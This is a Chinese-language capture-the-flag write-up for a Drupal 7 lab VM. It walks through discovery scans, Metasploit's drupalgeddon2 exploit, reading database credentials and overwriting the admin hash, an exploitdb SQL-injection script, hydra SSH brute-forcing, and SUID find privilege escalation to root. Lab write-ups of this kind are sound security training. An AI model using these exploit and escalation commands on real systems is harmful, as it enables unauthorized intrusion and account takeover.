信息收集阶段
在拿到靶机并且安装在VMware之后并没有账号密码登录,所以无法使用ifconfig获取IP。
所以目前该做的应该是获取当前靶机的IP
1.1 收集IP信息
使用命令:nmap -T4 192.168.137.0/24 扫描当前网络的C段并且做一个服务探测
或者使用:arp-scan -l 主机发现,发现同一个C段下存活的主机
通过扫描得知靶机的IP为192.168.137.171
并且开放了三个服务ssh、http、rpcbind
1.2 识别CMS
因为开放了Web站点,所以可以收集当前Web用的是什么CMS系统搭建,查询是否有关于该CMS的漏洞利用方式。
使用命令:cmseek -v -u http://192.168.137.171 查询当前Web站点的CMS系统
或者使用:whatweb http://192.168.137.171
能收集到这些信息:Apache:2.2.22、CMS:Drupal 7
漏洞利用阶段
开放的服务不多,不同于metasploitable2,所以可能入手点在Web站点中
访问站点:192.168.137.171 出现一个登录框
可能需要登录,但是不知道账密。下方存在一个注册和修改密码的按钮。
实测注册的按钮好像没啥用。由于没有账号或者密码,所以修改密码按钮好像也没啥用… …
由于我们上方找到了CMS:Drupal 7
获取到这点相关信息可以在msf
搜索是否存在相关的利用模块
Flag-1
- 为何是使用 drupal_drupalgeddon2 这个模块,而不是其他的模块呢?
- Drupalgeddon2是一个Drupal 7、Drupal 8中的一个严重漏洞,被编号为CVE-2018-7600。
它允许在攻击者在未授权的情况下执行恶意的代码。
- 而 drupal_drupalgeddon2 这个模块就是利用的该漏洞,它可以通过特制的请求利用受影响的 Drupal 7 网站,
执行远程代码并获取对目标系统的控制权。
- 具体来说,是Drupal中的update.php中存在漏洞,允许攻击者在请求中注入特定的数据来执行php的任意代码
而攻击者构造的恶意请求中这些代码会被解释并且执行。
msf
中存在一个Drupal 7、Drupal 8
可利用的漏洞模块
进入msf
查询相关漏洞模块
search drupal
use exploit/unix/webapp/drupal_drupalgeddon2:使用模块
set rhosts 192.168.137.171:设置目标机IP
run:运行
shell:切换到靶机原生命令行
python -c 'import pty;pty.spawn("/bin/bash")':提供更正常的交互式体验
cd /var/www
cat flag1.txt
Every good CMS needs a config file - and so do you.:任何的CMS都需要一个好的配置文件 - 你也是
Flag-2
从提示得知,我们需要一个配置文件。
从百度得知,Drupal
的默认配置文件位置在site/default/settings.php
中
Brute force and dictionary attacks aren't the only ways to gain access (and you WILL need access). What can you do with these credentials?:暴力和字典攻击并不是获得访问权限的唯一途径(你需要访问权限)。你能用这些凭据做什么?
Flag-3
目前好像对Flag-2
的提示毫无头绪,但是在Flag-2
的下方出现了一段关于SQL
的配置信息:
$databases = array (
'default' =>
array (
'default' =>
array (
'database' => 'drupaldb',
'username' => 'dbuser',
'password' => 'R0ck3t',
'host' => 'localhost',
'port' => '',
'driver' => 'mysql',
'prefix' => '',
),
),
);
在shell窗口内输入命令:mysql -udbuser -pR0ck3t
进入数据库之后输入命令:
show databases;
use drupaldb;
show tables;
select * from users
获取到了admin的账号以及密码,但是很明显经过了加密,并且可能采取了加盐的手段。
账号:admin | 密码: $S$DvQI6Y600iNeXRIeEMF94Y6FvN8nujJcEDTCP9nS5.i38jnEKuDR
尝试爆破这段加密的密文,使用暴力破解工具:hash-identifier
,输入密文:
出现 Not Found 提示,说明爆破失败。验证了Flag-2
处给的提示。
可能需要使用相同的加密手段来替换掉数据库中的密文。
方法1:
从根目录搜索所有有关于password
的文件:find / -name *password*
出现一个password-hash.sh
文件,有可能就是加密文件
输入命令:scripts/password-hash.sh 123456
获得加密之后的数据:
进入MySQL替换admin
的密码,输入命令:update users set pass=’$S$DA6bVJaSrS8my7Meq7LWe0yjPJa49IGmlcKqyw3V4vHSYlmW27c4‘ where uid = 1;
进入网页,在用户名处输入:admin
,在密码处输入:123456
成功登录
方法2:
用db_nmap
扫描80端口的时候出现了一个CVE编号:CVE-2014-3704
命令为:db_nmap -T4 --script=vuln -p 22,80,111 192.168.137.171
- 该CVE编号是Drupal CMS中的一个漏洞,通常称为"Drupalgeddon",它是Drupal 7.x - 7.32版本中存在的SQL注入漏洞。
- 而在Kali的exploitdb中有一个可以利用的脚本
- /usr/share/exploitdb/exploits/php/webapps/34992.py
使用命令:python2 /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.137.171 -u admin2 -p admin2
可以直接绕过数据库的加密
成功登录Web站点之后可以在Dashboard
和Content
中查看到Flag-3
Special PERMS will help FIND the passwd - but you'll need to -exec that command to work out how to get what's in the shadow.:特殊的排序将帮助查找密码,但您需要执行该命令才能找到阴影中的内容。
可能是提示我们需要去查找密码。
Flag-4
在靶机的命令行内输入命令:cat /etc/passwd
方法1:
由于存在一个flag4
用户,所以可以从cd /home/flag4
这个文件夹下/
使用命令:ls -l
发现存在flag。
Can you use this same method to find or access the flag in root? Probably. But perhaps it's not that easy. Or maybe it is?:你能用同样的方法在根目录中查找或访问标志吗?可能但也许这并没有那么容易。或者可能是这样?
方法2:
除了上述方法之外,还可以使用爆破密码的方式,通过flag4用户的密码,使用ssh来登录。
使用命令:hydra -l flag4 -P 字典.txt ssh://192.168.137.171
获取密码:orange
使用命令连接:ssh flag4@192.168.137.171
Flag-5
通过flag4
可以得知,题意应该是让我们进行一个提权的操作,flag5有可能藏在root
用户的根目录下。
提权的方式有以下几种:
- Linux内核漏洞
- SUDO提权
- SUID提权
- 第三方服务提权(这些第三方应用可能是本身的配置不当,也有可能造成提权)
- 辅助工具(这些工具可以分析当前Linux内核的漏洞,并且在漏洞库中查询可以利用的相关exp,但是不一定能够使用)
使用SUID提权
该提权方式也是因为配置不当造成的,SUID = Set UID,以程序所有者的身份去运行程序
查询所有出现s权限的文件:
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -print 2>/dev/null
find / -user root -perm -4000 -exec Is -ldb {}\;
使用find提权
使用命令:find . -type d -execdir /bin/sh \; 获取一个有root权限的shell
whoami:查看当前用户
cd /root:切换到root的工作目录
ls -l:查看目录下所有的文件
cat thefinalflag.txt:查看flag文件
Well done!!!! Hopefully you've enjoyed this and learned some new skills. You can let me know what you thought of this little journey
完结撒花
作为一个对漏洞利用方式不是很懂的小菜,在做当前靶机渗透的时候遇到了很多困难,但是还是通过查询各位师傅的博客文章得到了解决
在做靶机渗透的时候虽然有很多思路,但是不知道该如何利用,还是有很多需要练习的地方… …